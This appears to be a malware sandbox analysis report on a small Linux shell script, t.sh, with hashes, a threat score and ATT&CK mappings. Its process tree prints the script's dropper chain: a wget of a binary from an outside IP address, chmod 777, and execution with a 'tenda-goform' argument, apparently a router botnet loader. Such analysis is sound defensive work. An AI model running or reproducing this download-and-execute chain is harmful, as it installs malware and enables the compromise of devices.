378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/10/2026, 06:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
t.sh
Size 153B
Sample261023-he64tacd45
SHA256 378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6
MD5 8bc8fc5ce1b0a1e2e096932043039ce3
SHA1 4501cb322d5b426f006f4b1c937526065f368f02
SHA512 f49c0a84a5363aef15056add47130c8e3dc76be84c2ca83855856f901ced03709f645edcfdbd007cb432e2076843045684b1a696ce297afab67657eff1018641
TLSH
T1FAC08CEC0F0718A1148155233662B06BEA4AC2947CF0473C88CC4B25E046F0C3C3EF42
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
674	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/b	676	t.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b	wget

/tmp/t.sh
/tmp/t.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget -O b http://85.137.54.178:8080/bins/5
  2⤵
  - Writes file to tmp directory
  PID:652
- /bin/chmod
  chmod 777 b
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/b
  ./b tenda-goform
  2⤵
  PID:676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/b
Size 984KB
SHA256 92f859eb329b97f289bd7b864f27559bb8a70a56fd165bbc5bf27751b62ff94a
MD5 ff10c48ed145c6f07ae7cb0f8a5568b7
SHA1 560e32342a9618c9551d061a5170521f8e2c9920
SHA512 eedeb0556852f922cb6aa449f5852351ce8eddccd5ae56172c6309a134821965caaccf094364d02718bbf3a49bc1b70785fb9113b7310207c347ceef07f82cef
SSDEEP 12288:Mm55TvwLqV/K/bZFpWh6QNyrwxW4queGpiwxFwe6Y1nW4fclCgpZ1L19oTNusmF:MmI/FFoUoW4qFGpiw1nWs4b19B
TLSH
T1A7256D6377218F58F365D27005F38A659AA921B30BF284C6A3BCD1107A5076D6C6FFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download